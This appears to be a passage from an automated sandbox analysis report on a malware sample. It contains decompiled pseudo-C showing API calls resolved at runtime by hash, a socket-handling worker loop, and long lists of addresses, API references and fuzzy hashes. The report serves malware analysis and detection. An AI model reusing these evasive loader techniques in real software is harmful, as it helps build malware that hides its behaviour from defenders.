				intOrPtr _t222;
				intOrPtr _t224;
				signed int _t226;

				_t223 = __esi;
				_t228 = (_t226 & 0xfffffff8) - 0x1c;
				_t76 =  *0xf4a004; // 0x355216d4
				_v8 = _t76 ^ (_t226 & 0xfffffff8) - 0x0000001c;
				_t78 =  *0xf4c2ec; // 0xddcc10
				_push(__ebx);
				_push(__esi);
				_t145 = 0;
				 *0xf4c370 = 0;
				_t79 =  *((intOrPtr*)(_t78 + 0xb4));
				_v20 = 0;
				_push(__edi);
				if(_t79 == 0) {
					_t79 = E00F222A0(0, 0, 0, __edi, __esi, 0xf05ad6da);
					_t198 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t198 + 0xb4)) = _t79;
				}
				_t216 =  *_t79();
				_v28 = _t216;
				if(_t216 == 0) {
					_t194 =  *0xf4c2ec; // 0xddcc10
					_t142 =  *((intOrPtr*)(_t194 + 0x98));
					if(_t142 == 0) {
						_t142 = E00F222A0(_t145, 0, 0, _t216, _t223, 0xb87c8bb7);
						_t196 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t196 + 0x98)) = _t142;
					}
					 *_t142(1);
				}
				while(1) {
					_t81 =  *0xf4c2ec; // 0xddcc10
					_t224 =  *0xf4c300; // 0x364
					_t82 =  *((intOrPtr*)(_t81 + 0x94));
					if(_t82 == 0) {
						_t82 = E00F222A0(_t145, 0, 0, _t216, _t224, 0xcd976938);
						_t152 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t152 + 0x94)) = _t82;
					}
					_t83 =  *_t82(_t224,  &_v12,  &_v16,  &_v24, 0xffffffff);
					_t150 = _v36;
					if(_t150 == 1) {
					}
					L9:
					_t134 = E00F32F10(_t145, _t216, _t224); // executed
					if(_t134 == 0) {
						L70:
						_t85 =  *0xf4c2ec; // 0xddcc10
						_t86 =  *((intOrPtr*)(_t85 + 0x88));
						if(_t86 == 0) {
							_t86 = E00F222A0(_t145, 0, 0, _t216, _t224, 0xaf17f6da);
							_t158 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t158 + 0x88)) = _t86;
						}
						 *_t86(_t216);
						_t88 =  *0xf4c2ec; // 0xddcc10
						if( *((intOrPtr*)(_t88 + 0x98)) == 0) {
							_t93 = E00F222A0(_t145, 0, 0, _t216, _t224, 0xb87c8bb7);
							_t156 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t156 + 0x98)) = _t93;
						}
						RtlExitUserThread(); // executed
						return E00F37A82(_v36 ^ _t228, 0);
					}
					E00F331D0(_t145, _t216, _t224);
					_t136 =  *0xf4c2ec; // 0xddcc10
					_t137 =  *((intOrPtr*)(_t136 + 0x80));
					if(_t137 == 0) {
						_t137 = E00F222A0(_t145, 0, 0, _t216, _t224, 0x87b69cc9);
						_t193 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t193 + 0x80)) = _t137;
					}
					_push(0);
					_push(0);
					_push(0x7530);
					_push(0);
					_push(E00F33360);
					_push(_t216);
					_push( &_v40);
					if( *_t137() != 0) {
						L69:
						_t145 = 0;
						continue;
					} else {
						_t139 =  *0xf4c2ec; // 0xddcc10
						_t140 =  *((intOrPtr*)(_t139 + 0x98));
						if(_t140 == 0) {
							_t140 = E00F222A0(_t145, 0, 0, _t216, _t224, 0xb87c8bb7);
							_t191 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t191 + 0x98)) = _t140;
						}
						 *_t140(1);
						_t145 = 0;
						while(1) {
							_t81 =  *0xf4c2ec; // 0xddcc10
							_t224 =  *0xf4c300; // 0x364
							_t82 =  *((intOrPtr*)(_t81 + 0x94));
							if(_t82 == 0) {
								_t82 = E00F222A0(_t145, 0, 0, _t216, _t224, 0xcd976938);
								_t152 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t152 + 0x94)) = _t82;
							}
							_t83 =  *_t82(_t224,  &_v12,  &_v16,  &_v24, 0xffffffff);
							_t150 = _v36;
							if(_t150 == 1) {
							}
							goto L16;
						}
						goto L9;
					}
					L16:
					if(_t150 != 2) {
						if(_t150 != 3) {
							continue;
						}
						_t145 = _t150 - 2;
						_t224 =  *0xf4c340; // 0x0
						if( *0xf4c370 == 0) {
							if(_t224 == 0) {
								L64:
								if(E00F32F10(_t145, _t216, _t224) == 0) {
									goto L70;
								}
								E00F331D0(_t145, _t216, _t224);
								_t95 =  *0xf4c2ec; // 0xddcc10
								_t96 =  *((intOrPtr*)(_t95 + 0x80));
								if(_t96 == 0) {
									_t96 = E00F222A0(_t145, 0, 0, _t216, _t224, 0x87b69cc9);
									_t162 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t162 + 0x80)) = _t96;
								}
								_push(0);
								_push(0);
								_push(0x7530);
								_push(0);
								_push(E00F33360);
								_push(_t216);
								_push( &_v40);
								if( *_t96() == 0) {
									E00F31B40(_t145);
								}
								goto L69;
							}
							do {
								_t99 =  *0xf4c2ec; // 0xddcc10
								_t218 =  *((intOrPtr*)(_t224 + 0x14));
								_t100 =  *((intOrPtr*)(_t99 + 0x154));
								if(_t100 == 0) {
									_t100 = E00F222A0(_t145, 0, _t100 + 6, _t218, _t224, 0x61856121);
									_t168 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t168 + 0x154)) = _t100;
								}
								 *_t100(_t218, 1);
								_t102 =  *0xf4c2ec; // 0xddcc10
								_t219 =  *((intOrPtr*)(_t224 + 0x14));
								_t103 =  *((intOrPtr*)(_t102 + 0x13c));
								if(_t103 == 0) {
									_t103 = E00F222A0(_t145, 0, _t103 + 6, _t219, _t224, 0x4118bcd2);
									_t166 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t166 + 0x13c)) = _t103;
								}
								 *_t103(_t219); // executed
								_t163 =  *((intOrPtr*)(_t224 + 0x20));
								_t105 =  *((intOrPtr*)(_t224 + 0x24));
								if(_t163 == 0) {
									 *0xf4c344 = _t105;
								} else {
									 *((intOrPtr*)(_t163 + 0x24)) = _t105;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_t224 + 0x24)))) =  *((intOrPtr*)(_t224 + 0x20));
								_t107 =  *0xf4c2ec; // 0xddcc10
								_t108 =  *((intOrPtr*)(_t107 + 0xa8));
								if(_t108 == 0) {
									_t108 = E00F222A0(_t145, 0, 0, _t219, _t224, 0xa0ee5aad);
									_t170 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t170 + 0xa8)) = _t108;
								}
								 *_t108(_t224);
								_t224 =  *0xf4c340; // 0x0
							} while (_t224 != 0);
							_t216 = _v64;
							goto L64;
						}
						if(_t224 == 0) {
							continue;
						}
						do {
							if( *((intOrPtr*)(_t224 + 0x1c)) == _t145) {
								_t110 =  *0xf4c2ec; // 0xddcc10
								_t220 =  *((intOrPtr*)(_t224 + 0x14));
								_t111 =  *_t110;
								if(_t111 == 0) {
									_t111 = E00F222A0(_t145, 0, 0, _t220, _t224, 0x19515ab5);
									_t172 =  *0xf4c2ec; // 0xddcc10
									 *_t172 = _t111;
								}
								 *_t111(_t220);
							}
							_t224 =  *((intOrPtr*)(_t224 + 0x20));
						} while (_t224 != 0);
						_t216 = _v48;
						continue;
					}
					 *0xf4c370 =  *0xf4c370 - 1;
					if(_t83 == 0) {
						L20:
						 *((char*)(_v44 + 0x1c)) = 2;
						L21:
						if( *0xf4c370 != 0 || _t145 == 0) {
							continue;
						} else {
							_t224 =  *0xf4c340; // 0x0
							if(_t224 == 0) {
								L36:
								if(E00F32F10(_t145, _t216, _t224) == 0) {
									goto L70;
								}
								E00F331D0(_t145, _t216, _t224);
								_t116 =  *0xf4c2ec; // 0xddcc10
								_t117 =  *((intOrPtr*)(_t116 + 0x80));
								if(_t117 == 0) {
									_t117 = E00F222A0(_t145, 0, 0, _t216, _t224, 0x87b69cc9);
									_t176 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t176 + 0x80)) = _t117;
								}
								_t118 =  *_t117( &_v40, _t216, E00F33360, 0, 0x7530, 0, 0);
								if(_t118 != 0) {
									goto L69;
								} else {
									_t46 = _t118 + 1; // 0x1
									E00F31B40(_t46);
									_t145 = 0;
									continue;
								}
							}
							asm("o16 nop [eax+eax]");
							do {
								_t120 =  *0xf4c2ec; // 0xddcc10
								_t221 =  *((intOrPtr*)(_t224 + 0x14));
								_t121 =  *((intOrPtr*)(_t120 + 0x154));
								if(_t121 == 0) {
									_t121 = E00F222A0(_t145, 0, _t121 + 6, _t221, _t224, 0x61856121);
									_t182 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t182 + 0x154)) = _t121;
								}
								 *_t121(_t221, 1);
								_t123 =  *0xf4c2ec; // 0xddcc10
								_t222 =  *((intOrPtr*)(_t224 + 0x14));
								_t124 =  *((intOrPtr*)(_t123 + 0x13c));
								if(_t124 == 0) {
									_t124 = E00F222A0(_t145, 0, _t124 + 6, _t222, _t224, 0x4118bcd2);
									_t180 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t180 + 0x13c)) = _t124;
								}
								 *_t124(_t222);
								_t177 =  *((intOrPtr*)(_t224 + 0x20));
								_t126 =  *((intOrPtr*)(_t224 + 0x24));
								if(_t177 == 0) {
									 *0xf4c344 = _t126;
								} else {
									 *((intOrPtr*)(_t177 + 0x24)) = _t126;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_t224 + 0x24)))) =  *((intOrPtr*)(_t224 + 0x20));
								_t128 =  *0xf4c2ec; // 0xddcc10
								_t129 =  *((intOrPtr*)(_t128 + 0xa8));
								if(_t129 == 0) {
									_t129 = E00F222A0(_t145, 0, 0, _t222, _t224, 0xa0ee5aad);
									_t184 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t184 + 0xa8)) = _t129;
								}
								 *_t129(_t224);
								_t224 =  *0xf4c340; // 0x0
							} while (_t224 != 0);
							_t216 = _v64;
							goto L36;
						}
					}
					_t131 = E00F33290(_t145,  *((intOrPtr*)(_v44 + 0x14)), _t216, _t224); // executed
					if(_t131 == 0) {
						goto L20;
					}
					 *((char*)(_v44 + 0x1c)) = 0;
					E00F32DA0(_t145,  *((intOrPtr*)(_v44 + 0x18)), _t216, _t224);
					goto L21;
				}
			}

















































































    0x00f333a0
    0x00f333a6
    0x00f333a9
    0x00f333b0
    0x00f333b4
    0x00f333b9
    0x00f333ba
    0x00f333bb
    0x00f333bd
    0x00f333c7
    0x00f333cd
    0x00f333d5
    0x00f333d8
    0x00f333e3
    0x00f333e8
    0x00f333ee
    0x00f333ee
    0x00f333f6
    0x00f333f8
    0x00f333fe
    0x00f33400
    0x00f33406
    0x00f3340e
    0x00f33419
    0x00f3341e
    0x00f33424
    0x00f33424
    0x00f3342c
    0x00f3342c
    0x00f33430
    0x00f33430
    0x00f33435
    0x00f3343b
    0x00f33443
    0x00f3344e
    0x00f33453
    0x00f33459
    0x00f33459
    0x00f33471
    0x00f33473
    0x00f3347a
    0x00f3347a
    0x00f33480
    0x00f33480
    0x00f33487
    0x00f3383d
    0x00f3383d
    0x00f33842
    0x00f3384a
    0x00f33855
    0x00f3385a
    0x00f33860
    0x00f33860
    0x00f33867
    0x00f33869
    0x00f33876
    0x00f33881
    0x00f33886
    0x00f3388c
    0x00f3388c
    0x00f33894
    0x00f338a9
    0x00f338a9
    0x00f3348d
    0x00f33492
    0x00f33497
    0x00f3349f
    0x00f334aa
    0x00f334af
    0x00f334b5
    0x00f334b5
    0x00f334bb
    0x00f334bd
    0x00f334bf
    0x00f334c4
    0x00f334c6
    0x00f334cb
    0x00f334d0
    0x00f334d5
    0x00f33836
    0x00f33836
    0x00000000
    0x00f334db
    0x00f334db
    0x00f334e0
    0x00f334e8
    0x00f334f3
    0x00f334f8
    0x00f334fe
    0x00f334fe
    0x00f33506
    0x00f33508
    0x00f33430
    0x00f33430
    0x00f33435
    0x00f3343b
    0x00f33443
    0x00f3344e
    0x00f33453
    0x00f33459
    0x00f33459
    0x00f33471
    0x00f33473
    0x00f3347a
    0x00f3347a
    0x00000000
    0x00f3347a
    0x00000000
    0x00f33430
    0x00f3350f
    0x00f33512
    0x00f336a9
    0x00000000
    0x00000000
    0x00f336b6
    0x00f336b9
    0x00f336bf
    0x00f3370e
    0x00f337dc
    0x00f337e3
    0x00000000
    0x00000000
    0x00f337e5
    0x00f337ea
    0x00f337ef
    0x00f337f7
    0x00f33802
    0x00f33807
    0x00f3380d
    0x00f3380d
    0x00f33813
    0x00f33815
    0x00f33817
    0x00f3381c
    0x00f3381e
    0x00f33823
    0x00f33828
    0x00f3382d
    0x00f33831
    0x00f33831
    0x00000000
    0x00f3382d
    0x00f33720
    0x00f33720
    0x00f33725
    0x00f33728
    0x00f33730
    0x00f3373c
    0x00f33741
    0x00f33747
    0x00f33747
    0x00f33750
    0x00f33752
    0x00f33757
    0x00f3375a
    0x00f33762
    0x00f3376e
    0x00f33773
    0x00f33779
    0x00f33779
    0x00f33780
    0x00f33782
    0x00f33785
    0x00f3378a
    0x00f33791
    0x00f3378c
    0x00f3378c
    0x00f3378c
    0x00f3379c
    0x00f3379e
    0x00f337a3
    0x00f337ab
    0x00f337b6
    0x00f337bb
    0x00f337c1
    0x00f337c1
    0x00f337c8
    0x00f337ca
    0x00f337d0
    0x00f337d8
    0x00000000
    0x00f337d8
    0x00f336c3
    0x00000000
    0x00000000
    0x00f336d0
    0x00f336d3
    0x00f336d5
    0x00f336da
    0x00f336dd
    0x00f336e1
    0x00f336ec
    0x00f336f1
    0x00f336f7
    0x00f336f7
    0x00f336fa
    0x00f336fa
    0x00f336fc
    0x00f336ff
    0x00f33703
    0x00000000
    0x00f33703
    0x00f33518
    0x00f33520
    0x00f33548
    0x00f3354c
    0x00f33550
    0x00f33557
    0x00000000
    0x00f33565
    0x00f33565
    0x00f3356d
    0x00f3363c
    0x00f33643
    0x00000000
    0x00000000
    0x00f33649
    0x00f3364e
    0x00f33653
    0x00f3365b
    0x00f33666
    0x00f3366b
    0x00f33671
    0x00f33671
    0x00f3368d
    0x00f33691
    0x00000000
    0x00f33697
    0x00f33697
    0x00f3369a
    0x00f3369f
    0x00000000
    0x00f3369f
    0x00f33691
    0x00f33577
    0x00f33580
    0x00f33580
    0x00f33585
    0x00f33588
    0x00f33590
    0x00f3359c
    0x00f335a1
    0x00f335a7
    0x00f335a7
    0x00f335b0
    0x00f335b2
    0x00f335b7
    0x00f335ba
    0x00f335c2
    0x00f335ce
    0x00f335d3
    0x00f335d9
    0x00f335d9
    0x00f335e0
    0x00f335e2
    0x00f335e5
    0x00f335ea
    0x00f335f1
    0x00f335ec
    0x00f335ec
    0x00f335ec
    0x00f335fc
    0x00f335fe
    0x00f33603
    0x00f3360b
    0x00f33616
    0x00f3361b
    0x00f33621
    0x00f33621
    0x00f33628
    0x00f3362a
    0x00f33630
    0x00f33638
    0x00000000
    0x00f33638
    0x00f33557
    0x00f33529
    0x00f33530
    0x00000000
    0x00000000
    0x00f33536
    0x00f33541
    0x00000000
    0x00f33541

    APIs
    • shutdown.WS2_32(?,00000001), ref: 00F33750
    • closesocket.WS2_32(?), ref: 00F33780
    • RtlExitUserThread.NTDLL(00000000), ref: 00F33894
      • Part of subcall function 00F222A0: LoadLibraryA.KERNELBASE(00000000,00000000,?), ref: 00F226F0
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ExitLibraryLoadThreadUserclosesocketshutdown
    • String ID:
    • API String ID: 1527597882-0
    • Opcode ID: f645af224002515b0d3288eceb3725c4d3f246d506f964eaece84bd37c638ae8
    • Instruction ID: 8dd1763c30e703a6c5492adf7b9e9703e1e4cdd2b20d69146013db5da6db1302
    • Opcode Fuzzy Hash: f645af224002515b0d3288eceb3725c4d3f246d506f964eaece84bd37c638ae8
    • Instruction Fuzzy Hash: 21D19C387022019FD3A4DFA5DC81F7673E5AB99724F04806DEC4ADB391DB75EA01AB80
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F370A0 Relevance: 4.8, APIs: 3, Instructions: 250sleepmemoryCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 61%
    			E00F370A0(intOrPtr _a4) {
				signed int _v8;
				char _v12;
				void* _v16;
				intOrPtr _v44;
				intOrPtr _v48;
				void* _v672;
				char _v692;
				void* _v696;
				char _v700;
				intOrPtr _v704;
				signed int _t65;
				intOrPtr _t67;
				void* _t69;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t72;
				void* _t73;
				char* _t74;
				intOrPtr _t75;
				intOrPtr* _t76;
				void** _t78;
				intOrPtr _t80;
				void* _t81;
				void* _t83;
				void* _t84;
				intOrPtr _t86;
				short* _t87;
				void* _t91;
				intOrPtr _t92;
				intOrPtr _t96;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t101;
				void* _t102;
				intOrPtr _t104;
				intOrPtr* _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr _t118;
				void* _t119;
				void* _t122;
				void* _t123;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				intOrPtr _t139;
				intOrPtr _t141;
				intOrPtr _t142;
				intOrPtr _t144;
				intOrPtr _t146;
				intOrPtr _t148;
				intOrPtr _t149;
				intOrPtr _t151;
				intOrPtr _t153;
				intOrPtr _t156;
				void* _t157;
				intOrPtr* _t158;
				signed int _t159;
				signed int _t161;

				_t161 = (_t159 & 0xfffffff8) - 0x2a4;
				_t65 =  *0xf4a004; // 0x355216d4
				_v8 = _t65 ^ _t161;
				_t67 =  *0xf4c2ec; // 0xddcc10
				_push(_t119);
				_push(_t157);
				_t156 = _a4;
				if( *((intOrPtr*)(_t67 + 0xc8)) == 0) {
					_t154 = 0;
					_t118 = E00F222A0(_t119, 0, 0, _t156, _t157, 0xd827c1e1);
					_t153 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t153 + 0xc8)) = _t118;
				}
				_t69 = VirtualAlloc(0, 0x500040, 0x3000, 4); // executed
				_v672 = _t69;
				if(_t69 != 0) {
					L6:
					_t70 = E00F36A10(_t119,  &_v16); // executed
					if(_t70 == 0) {
						_t113 =  *0xf4c2ec; // 0xddcc10
						_t114 =  *((intOrPtr*)(_t113 + 0x98));
						if(_t114 == 0) {
							_t154 = 0;
							_t114 = E00F222A0(_t119, 0, 0, _t156, _t157, 0xb87c8bb7);
							_t148 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t148 + 0x98)) = _t114;
						}
						 *_t114(1);
					}
					_t71 =  *0xf4c2ec; // 0xddcc10
					_t158 = _v16;
					_t72 =  *((intOrPtr*)(_t71 + 0xd8));
					if(_t72 == 0) {
						_t154 = _t72 + 1;
						_t72 = E00F222A0(_t119, 0, _t72 + 1, _t156, _t158, 0xa247ff77);
						_t146 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t146 + 0xd8)) = _t72;
					}
					_t73 =  *_t72(_t158, 0xf4afa0, 0x81e, 0, 0,  &_v12); // executed
					if(_t73 != 0) {
						goto L17;
					} else {
						_t110 =  *0xf4c2ec; // 0xddcc10
						if( *((intOrPtr*)(_t110 + 0x98)) == 0) {
							_t154 = 0;
							_t112 = E00F222A0(_t119, 0, 0, _t156, _t158, 0xb87c8bb7);
							_t144 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t144 + 0x98)) = _t112;
						}
						_push(1); // executed
						L16:
						Sleep(); // executed
						asm("o16 nop [eax+eax]");
						while(1) {
							L17:
							_t122 = 0x288;
							_t74 =  &_v692;
							do {
								 *_t74 = 0;
								_t74 = _t74 + 1;
								_t122 = _t122 - 1;
							} while (_t122 != 0);
							_t75 =  *0xf4c2ec; // 0xddcc10
							_t76 =  *((intOrPtr*)(_t75 + 0x84));
							if(_t76 == 0) {
								_t154 = 0;
								_t76 = E00F222A0(_t119, _t122, 0, _t156, _t158, 0x21cca665);
								_t142 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t142 + 0x84)) = _t76;
							}
							_t119 = _t156 + 0xc;
							 *_t76(_t119);
							_t158 =  *((intOrPtr*)(_t156 + 0x24));
							if(_t158 != 0) {
								 *((intOrPtr*)(_t156 + 8)) =  *((intOrPtr*)(_t156 + 8)) - 1;
								__eflags =  *(_t156 + 0x2c);
								if( *(_t156 + 0x2c) != 0) {
									__eflags =  *((intOrPtr*)(_t156 + 8)) - 0x1d4c;
									if( *((intOrPtr*)(_t156 + 8)) <= 0x1d4c) {
										_v704 =  *((intOrPtr*)(_t156 + 0x30));
										_t101 =  *0xf4c2ec; // 0xddcc10
										_t102 =  *(_t101 + 0x168);
										__eflags = _t102;
										if(_t102 == 0) {
											_t154 = 0;
											__eflags = 0;
											_t102 = E00F222A0(_t119, 0, 0, _t156, _t158, 0x6a120745);
											_t137 =  *0xf4c2ec; // 0xddcc10
											 *(_t137 + 0x168) = _t102;
										}
										 *_t102(_v704);
										 *(_t156 + 0x2c) = 0;
									}
								}
								_t123 =  *(_t158 + 0x18);
								_t78 =  *(_t158 + 0x1c);
								__eflags = _t123;
								if(_t123 == 0) {
									 *(_t156 + 0x28) = _t78;
								} else {
									 *(_t123 + 0x1c) = _t78;
								}
								 *( *(_t158 + 0x1c)) =  *(_t158 + 0x18);
								_t80 =  *0xf4c2ec; // 0xddcc10
								_t81 =  *(_t80 + 0x8c);
								__eflags = _t81;
								if(_t81 == 0) {
									_t154 = 0;
									__eflags = 0;
									_t81 = E00F222A0(_t119, 0, 0, _t156, _t158, 0xf99eabb9);
									_t135 =  *0xf4c2ec; // 0xddcc10
									 *(_t135 + 0x8c) = _t81;
								}
								 *_t81(_t119);
								_t83 = E00F37890(_t158);
								__eflags = _t83;
								if(_t83 != 0) {
									_t97 =  *0xf4c2ec; // 0xddcc10
									_t98 =  *(_t97 + 0x98);
									__eflags = _t98;
									if(_t98 == 0) {
										_t154 = 0;
										__eflags = 0;
										_t98 = E00F222A0(_t119, 0, 0, _t156, _t158, 0xb87c8bb7);
										_t133 =  *0xf4c2ec; // 0xddcc10
										 *(_t133 + 0x98) = _t98;
									}
									 *_t98(0);
								}
								__eflags =  *((intOrPtr*)(_t158 + 0x14)) - 8;
								if( *((intOrPtr*)(_t158 + 0x14)) < 8) {
									_t84 = _t158;
								} else {
									_t84 =  *_t158;
								}
								__eflags =  *0xf4a780 - 0xd;
								_v700 = _t84;
								_v696 = 0xffffffff;
								if(__eflags != 0) {
									_t154 = _v704;
									_t91 = E00F2ECD0( &_v700, _v704, __eflags, _v48, _v44); // executed
									__eflags = _t91;
									if(_t91 != 0) {
										_t92 =  *0xf4c2ec; // 0xddcc10
										_t119 = _v696;
										__eflags =  *(_t92 + 0x48);
										if( *(_t92 + 0x48) == 0) {
											_t154 = 0;
											__eflags = 0;
											_t96 = E00F222A0(_t119, 0, 0, _t156, _t158, 0xa5eb6e47);
											_t131 =  *0xf4c2ec; // 0xddcc10
											 *((intOrPtr*)(_t131 + 0x48)) = _t96;
										}
										FindCloseChangeNotification(_t119); // executed
										_v696 = 0xffffffff;
										E00F2C5F0(_v700);
									}
								}
								E00F2EFC0( &_v700);
								_t86 =  *((intOrPtr*)(_t158 + 0x14));
								__eflags = _t86 - 8;
								if(_t86 >= 8) {
									_t89 = _t86 + 1;
									__eflags = _t86 + 1;
									E00F238C0(_t119, _t154, _t156,  *_t158, _t89); // executed
								}
								 *((intOrPtr*)(_t158 + 0x14)) = 7;
								__eflags =  *((intOrPtr*)(_t158 + 0x14)) - 8;
								 *(_t158 + 0x10) = 0;
								if( *((intOrPtr*)(_t158 + 0x14)) < 8) {
									_t87 = _t158;
								} else {
									_t87 =  *_t158;
								}
								_push(0x20);
								 *_t87 = 0;
								E00F37CCA(_t158);
								_t161 = _t161 + 8;
								continue;
							} else {
								_t104 =  *0xf4c2ec; // 0xddcc10
								_t105 =  *((intOrPtr*)(_t104 + 0x8c));
								if(_t105 == 0) {
									_t154 = 0;
									_t105 = E00F222A0(_t119, 0, 0, _t156, _t158, 0xf99eabb9);
									_t141 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t141 + 0x8c)) = _t105;
								}
								 *_t105(_t119);
								_t107 =  *0xf4c2ec; // 0xddcc10
								if( *((intOrPtr*)(_t107 + 0xa0)) == 0) {
									_t154 = 0;
									_t109 = E00F222A0(_t119, 0, 0, _t156, _t158, 0xe4b69f3b);
									_t139 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t139 + 0xa0)) = _t109;
								}
								_push(0x1f4);
								goto L16;
							}
						}
					}
				}
				_t149 =  *0xf4c2ec; // 0xddcc10
				_t116 =  *((intOrPtr*)(_t149 + 0x98));
				if(_t116 == 0) {
					_t154 = 0;
					_t116 = E00F222A0(_t119, 0, 0, _t156, _t157, 0xb87c8bb7);
					_t151 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t151 + 0x98)) = _t116;
				}
				 *_t116(0);
				goto L6;
			}




































































    0x00f370a6
    0x00f370ac
    0x00f370b3
    0x00f370ba
    0x00f370bf
    0x00f370c0
    0x00f370c8
    0x00f370cd
    0x00f370d4
    0x00f370d8
    0x00f370dd
    0x00f370e3
    0x00f370e3
    0x00f370f7
    0x00f370f9
    0x00f370ff
    0x00f3712f
    0x00f37136
    0x00f3713d
    0x00f3713f
    0x00f37144
    0x00f3714c
    0x00f37153
    0x00f37157
    0x00f3715c
    0x00f37162
    0x00f37162
    0x00f3716a
    0x00f3716a
    0x00f3716c
    0x00f37171
    0x00f37178
    0x00f37180
    0x00f37187
    0x00f3718c
    0x00f37191
    0x00f37197
    0x00f37197
    0x00f371b4
    0x00f371b8
    0x00000000
    0x00f371ba
    0x00f371ba
    0x00f371c7
    0x00f371ce
    0x00f371d2
    0x00f371d7
    0x00f371dd
    0x00f371dd
    0x00f371e3
    0x00f371e5
    0x00f371e5
    0x00f371e7
    0x00f371f0
    0x00f371f0
    0x00f371f0
    0x00f371f5
    0x00f37200
    0x00f37200
    0x00f37203
    0x00f37206
    0x00f37206
    0x00f3720b
    0x00f37210
    0x00f37218
    0x00f3721f
    0x00f37221
    0x00f37226
    0x00f3722c
    0x00f3722c
    0x00f37232
    0x00f37236
    0x00f37238
    0x00f3723d
    0x00f3729e
    0x00f372a1
    0x00f372a5
    0x00f372a7
    0x00f372ae
    0x00f372b3
    0x00f372b7
    0x00f372bc
    0x00f372c2
    0x00f372c4
    0x00f372cb
    0x00f372cd
    0x00f372cf
    0x00f372d4
    0x00f372da
    0x00f372da
    0x00f372e4
    0x00f372e6
    0x00f372e6
    0x00f372ae
    0x00f372ed
    0x00f372f0
    0x00f372f3
    0x00f372f5
    0x00f372fc
    0x00f372f7
    0x00f372f7
    0x00f372f7
    0x00f37305
    0x00f37307
    0x00f3730c
    0x00f37312
    0x00f37314
    0x00f3731b
    0x00f3731d
    0x00f3731f
    0x00f37324
    0x00f3732a
    0x00f3732a
    0x00f37331
    0x00f37335
    0x00f3733a
    0x00f3733c
    0x00f3733e
    0x00f37343
    0x00f37349
    0x00f3734b
    0x00f37352
    0x00f37354
    0x00f37356
    0x00f3735b
    0x00f37361
    0x00f37361
    0x00f37369
    0x00f37369
    0x00f3736b
    0x00f3736f
    0x00f37375
    0x00f37371
    0x00f37371
    0x00f37371
    0x00f37377
    0x00f3737e
    0x00f37382
    0x00f3738a
    0x00f37393
    0x00f373a2
    0x00f373a7
    0x00f373a9
    0x00f373ab
    0x00f373b0
    0x00f373b7
    0x00f373b9
    0x00f373c0
    0x00f373c2
    0x00f373c4
    0x00f373c9
    0x00f373cf
    0x00f373cf
    0x00f373d3
    0x00f373d9
    0x00f373e1
    0x00f373e1
    0x00f373a9
    0x00f373ea
    0x00f373ef
    0x00f373f2
    0x00f373f5
    0x00f373f7
    0x00f373f7
    0x00f373fb
    0x00f373fb
    0x00f37400
    0x00f37407
    0x00f3740b
    0x00f37412
    0x00f37418
    0x00f37414
    0x00f37414
    0x00f37414
    0x00f3741c
    0x00f3741f
    0x00f37422
    0x00f37427
    0x00000000
    0x00f3723f
    0x00f3723f
    0x00f37244
    0x00f3724c
    0x00f37253
    0x00f37257
    0x00f3725c
    0x00f37262
    0x00f37262
    0x00f37269
    0x00f3726b
    0x00f37278
    0x00f3727f
    0x00f37283
    0x00f37288
    0x00f3728e
    0x00f3728e
    0x00f37294
    0x00000000
    0x00f37294
    0x00f3723d
    0x00f371f0
    0x00f371b8
    0x00f37101
    0x00f37107
    0x00f3710f
    0x00f37116
    0x00f3711a
    0x00f3711f
    0x00f37125
    0x00f37125
    0x00f3712d
    0x00000000

    APIs
    • VirtualAlloc.KERNELBASE(00000000,00500040,00003000,00000004), ref: 00F370F7
    • Sleep.KERNELBASE(000001F4), ref: 00F371E5
    • FindCloseChangeNotification.KERNELBASE(FFFFFFFF,?,?), ref: 00F373D3
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
